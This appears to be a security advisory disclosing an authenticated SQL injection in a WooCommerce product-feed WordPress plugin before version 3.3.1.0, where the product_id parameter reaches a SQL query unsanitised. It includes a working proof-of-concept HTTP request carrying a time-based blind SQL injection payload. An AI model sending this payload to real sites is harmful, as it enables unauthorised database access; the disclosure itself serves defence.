Create WooCommerce Product Feeds For 40+ Merchants < 3.3.1.0 - Authenticated SQL Injection

Description

The fetch_product_ajax functionality in the plugin uses a `product_id` POST parameter which is not properly sanitised, escaped or validated before inserting to a SQL statement, leading to SQL injection.

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Length: 162
Accept: */*
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Sec-GPC: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [admin+]
Connection: close

keyword=eewr&searchfilters=sku&security=c3b54163aa&action=cpf_cart_product&feedpath=core%2Fajax%2Fwp%2Ffetch_product_ajax.php&q=savep&local_cat_ids=1&product_id=1%20AND%20(SELECT%207403%20FROM%20(SELECT(SLEEP(5)))gJUc)